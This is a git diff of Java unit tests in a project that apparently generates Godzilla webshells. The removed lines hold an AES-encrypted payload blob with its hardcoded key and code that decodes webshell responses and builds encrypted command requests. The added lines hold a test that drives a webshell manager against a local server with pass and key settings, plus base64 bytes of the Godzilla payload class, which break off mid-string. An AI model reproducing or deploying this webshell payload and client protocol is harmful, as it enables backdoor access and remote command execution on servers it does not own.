kE2wACABMAJACqAKsAAwAZAB4CgQATAAQAKwAHAK8BYQAFAAIBAwEEAAEAIQAAAtkACAAKAAABnSsTBSC4BSJNLBMFILgFIk67AuZZtwLoOgSnABQZBC22AvBXKi0TBSQBtgUmTi3H/+4DNgWnAVoqGQQVBbYC9hMFKAG2BSY6BhkGxgFBKhkGEwUqAbYFJjoHpwEoKhkHtgBGEwUsAbYBKMYA7SoZB7YARhMFLgS9AE1ZA7IBG1nHAB1XEwEduABaWbMBG6cAD7sAXlpftgBgtwBmv1O2ASjGALYqGQfAAHUTBSwDvQBHtgUmwAB1OggZCMcACRMFMKcABRkIOggqGQcTBS4EvQBHWQMZCFO2BSZXKiq0AL62AEYTAtwFvQBNWQOyARtZxwAdVxMBHbgAWlmzARunAA+7AF5aX7YAYLcAZr9TWQSyARtZxwAdVxMBHbgAWlmzARunAA+7AF5aX7YAYLcAZr9TtgEoOgkZCRkIBL0AR1kDGQhTtgBtVyoZBxMFMgG2BSY6B6cALhMFNAMstgBGtgLRuAU2GQe2AEa2AGmZABIqGQcTBTIBtgUmOgenAAYBOgcZB8f+2acABToGhAUBFQUZBLYC86H+oqcABE2xAAUAgwCJAJAApgDzAPkBAACmARcBHQEkAKYANwGGAYkA7gAAAZgBmwDuAAIAJAAAAJYAJQAABM4ACATPABAE0QAZBNIAHATTACME1AAtBNIAMQTWADcE2ABIBNkATQTaAFkE2wBcBNwAbATdAHUE3gCdBN0AowTfALgE4ADHBOEA2gTiAOUE4wExBOIBNgTkAUcE5QFTBOYBVgTnAVoE6AFhBOcBZATpAW8E6gF7BOsBfgTsAYEE2wGGBPABiwTWAZgE9QGcBPgAJQAAAGYACgAAAZ0ALgVpAAAAAAGdAAoACwABAAgBkAU5AAsAAgAQAYgFOgALAAMAGQF/BTsDHQAEADQBZAHgAPwABQBIAT4FPAALAAYAWQEtBT0ACwAHALgAmwU+AKkACAE2AB0FPwCrAAkACgBKAF0AAQAhAAAATAABAAIAAAAIKrgAWrBMAbAAAQAAAAQABQDuAAIAJAAAAA4AAwAABPwABQT9AAYE/gAlAAAAFgACAAAACAVAAKkAAAAGAAIArwFhAAEACQDgAN0AAQAhAAAAawADAAIAAAArKgMzEQD/fioEMxEA/34QCHiAKgUzEQD/fhAQeIAqBjMRAP9+EBh4gDwbrAAAAAIAJAAAABIABAAABQQAHQUFACcFBAApBQYAJQAAABYAAgAAACsFQQAPAAAAKQACAeAA/AABAAEEMQBDAAEAIQAAADwAAQACAAAACCu2AHS4BUKwAAAAAgAkAAAABgABAAAFCgAlAAAAFgACAAAACAAuBWkAAAAAAAgA9gCpAAEACQQxBUQAAQAhAAADCwAGAA8AAAGbAzwqvj0HKr4FYAZsaLwITgI2BAQ2BbIAIjoGGzYHHBtkBmwGaDYIGxUIYDYJFQSeABYVCBUEB2wGaKQACxUEB2wGaDYIAzYKpwCrFQcVCGAVCbgEjDYLFQc2DBUKNg2nAHcqFQyEDAEzEQD/fhAQeCoVDIQMATMRAP9+EAh4gCoVDIQMATMRAP9+gDYOLRUNhA0BGQYVDhASfBA/fjSRVC0VDYQNARkGFQ4QDHwQP340kVQtFQ2EDQEZBhUOEAZ8ED9+NJFULRUNhA0BGQYVDhA/fjSRVBUMFQuh/4gVCxUHZAZsB2g2DBUKFQxgNgoVCzYHFQcVCaH/VBUHHKIAlSoVB4QHATMRAP9+NgstFQqECgEZBhULBXo0kVQVBxygAC8tFQqECgEZBhULB3gQP340kVQVBZkAXC0VCoQKARA9VC0VCoQKARA9VKcARyoVB4QHATMRAP9+NgwtFQqECgEZBhULB3gQP34VDAd6gDSRVC0VCoQKARkGFQwFeBA/fjSRVBUFmQAMLRUKhAoBED1UuwB1WS23ANiwAAAAAgAkAAAAogAoAAAFDgACBQ8ABQUQABAFEQATBRIAFgUTABsFFAAeBRUAJwUWAC0FFwA9BRgARQUZAEgFGgBLBRsAVwUcAGIFHQCNBR4AoAUfALMFIADGBSEA1gUcAN0FIwDoBSQA7wUlAPMFGgD6BScBAAUoAQ0FKQEcBSoBIgUrATQFLAE5BS0BQgUuAUsFMAFOBTEBWwUyAXIFMwGEBTQBiQU1AZIFOQAlAAAAtgASAAABmwVFAA8AAAACAZkFRgD8AAEABQGWBUcA/AACABABiwVIAA8AAwATAYgFSQD8AAQAFgGFBUoBPwAFABsBgAVLAAYABgAeAX0FTAD8AAcAJwF0BU0A/AAIAC0BbgVOAPwACQBIAVMFTwD8AAoAVwCcBVAA/AALAFsAggVRAPwADABfAH4FUgD8AA0AjQBJBVMA/AAOAOgACwVUAPwADAENAIUFVQD8AAsBWwA3BVYA/AAMAAkFVwFjAAEAIQAAAwgABgAMAAABmCq2Ac6aAAcDvAiwKrYAdEwDPSu+PgM2BB0cZDYFKx0EZDMQPaAAE4QEASsdBWQzED2gAAaEBAEVBJoAEhUFBn6ZAAsHFQUGfmQ2BAYVBQZgB2xoFQRkvAg6BhEBALwKOgcZBwK4BVgDNginABEZB7IAIhUINBUIT4QIARUIsgAivqH/7BkHED0Q/k8DNggDNgkQEjYKpwCKKxyEAgEzEQD/fjYLGQcVCy5ZNgucADMVCxD+oAAsFQoQBqAAExwdnwAVKxyEAgEzED2gAAoVChASoABTuwVbWRMFXbcFX78VCRULFQp4gDYJhAr6FQqcADEZBhUIhAgBFQkQEHqRVBkGFQiECAEVCRAIepFUGQYVCIQIARUJkVQQEjYKAzYJHB2h/3cVChAGoAAUGQYVCIQIARUJEBB6kVSnADkVCpoAIhkGFQiECAEVCRAQepFUGQYVCIQIARUJEAh6kVSnABUVChAMoAAOuwVbWRMFYLcFX78VCBkGvp8AHhUIvAg6CxkGAxkLAxkGvhUIuASMuAKUGQs6BhkGsAAAAAIAJAAAAMoAMgAABT0ABwU+AAsFQAAQBUEAEgVCABUFQwAYBUQAHQVFACcFRgAqBUcANAVIADcFSwBDBUwASwVOAFoFTwBhBVAAZwVRAG0FUgB4BVEAhAVUAIsFVQCOBVYAkQVXAJUFWACYBVkApAVaAK8FWwC2BVwA1AVdAN8FYgDpBWMA7AVkAPEFZQD/BWYBDQVnARgFaAEcBWkBHwVYASQFbQErBW4BOQVvAUEFcAFPBXEBXQVyAWcFdAFyBXYBegV3AYAFeAGRBXkBlQV7ACUAAACOAA4AAAGYBWIAqQAAABABiAVFAA8AAQASAYYFTAD8AAIAFQGDBU4A/AADABgBgAVjAPwABAAdAXsA+wD8AAUAWgE+BUgADwAGAGEBNwVLBWQABwBqABoB4AD8AAgAjgEKBU8A/AAIAJEBBwVTAPwACQCVAQMFZQD8AAoApAB7ADsA/AALAYAAFQSUAA8ACwABBWYAAAACBWc="); - byte[] x = x(bytes, true); - System.out.println(Base64.encodeBase64String(x)); - Files.write(Paths.get("Connection.class"), bytes); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec("3c6e0b8a9c15224a".getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var41) { - return null; - } - } - - @Test - void getResult() throws IOException { - String result = "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".substring(16); - result = result.substring(0, result.length() - 16); - byte[] bytes = Base64.decodeBase64(result); - byte[] x = x(bytes, false); - GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); - IOUtils.copy(gzipInputStream, System.out); - } - - @Test - void getPayload() throws IOException { - String result = URLDecoder.decode("iBFCSp6teq50bb9gXWFdEM36h%2FTnIqtHIg813YXy3GwxPP6S9ve6SZgDY0TJnOoZjxZCkkFO1HNx2VaBe9JHo9noP74PGzx0mxOH9oFDgXzIIGwvPLsKcLQVVRptBojgZWB90sIU0EHPzppD87GxSGS9Jl3jG1%2B6Ak3AfJ3jjL0FqU1RvKL0XZ0A3Teub%2FMZHXfZyFjMveM1vzwJEJ2X3h5Tr9tXEAzyT9eKInXwoxXJlb%2B31oFxN8ohKS4i5dfu", "UTF-8"); - byte[] bytes = Base64.decodeBase64(result); - byte[] x = x(bytes, false); - ByteArrayInputStream tStream = new ByteArrayInputStream(x); - ByteArrayOutputStream tp = new ByteArrayOutputStream(); - byte[] lenB = new byte[4]; - int read; - try { - GZIPInputStream inputStream = new GZIPInputStream(tStream); - while (true) { - byte t = (byte) inputStream.read(); - if (t != -1) { - if (t == 2) { - String key = tp.toString(); - inputStream.read(lenB); - int len = bytesToInt(lenB); - byte[] data = new byte[len]; - int readOneLen = 0; - do { - read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen); - readOneLen = read; - } while (read < data.length); - System.out.println(key); - System.out.println(new String(data)); - tp.reset(); - } else { - tp.write(t); - } - } else { - tp.close(); - tStream.close(); - inputStream.close(); - return; - } - } - } catch (Exception ignored) { - } - } - - public static int bytesToInt(byte[] bytes) { - return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24); - } - - @Test - @SneakyThrows - void generatePayload() { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos);) { - byte[] value = "close".getBytes(); - gzipOutputStream.write("methodName".getBytes()); - gzipOutputStream.write(2); - gzipOutputStream.write(intToBytes(value.length)); - gzipOutputStream.write(value); - } - byte[] x = x(baos.toByteArray(), true); - System.out.println(URLEncoder.encode(Base64.encodeBase64String(x), "UTF-8")); - } - - public static byte[] intToBytes(int value) { - return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)}; - } - -} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java b/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java index 13eb13ed..3a2358c2 100644 --- a/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/godzilla/GodzillaManagerTest.java @@ -1,8 +1,16 @@ package com.reajason.javaweb.godzilla; import com.reajason.javaweb.util.ClassUtils; +import lombok.SneakyThrows; +import okhttp3.*; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.lang3.tuple.Pair; import org.junit.jupiter.api.Test; +import java.io.ByteArrayInputStream; +import java.io.DataInputStream; +import java.io.IOException; +import java.util.HashMap; import java.util.Map; import static org.junit.jupiter.api.Assertions.*; @@ -13,6 +21,20 @@ import static org.junit.jupiter.api.Assertions.*; */ class GodzillaManagerTest { + @Test + void testManager() { + try (GodzillaManager manager = GodzillaManager.builder() + .entrypoint("http://localhost:8080/app/") + .header("User-Agent", "test Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0") + .pass("passFilter") + .key("keyFilter") + .build()) { + assertTrue(manager.start()); + assertTrue(manager.test()); + } catch (IOException e) { + } + } + @Test void generateGodzilla() { byte[] bytes = GodzillaManager.generateGodzilla(); @@ -21,6 +43,26 @@ class GodzillaManagerTest { assertNotNull(o); } + @Test + void testGenerateGodzillaClassVersion() { + byte[] bytes = GodzillaManager.generateGodzilla(); + printClassVersion(bytes); + + byte[] bytes1 = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL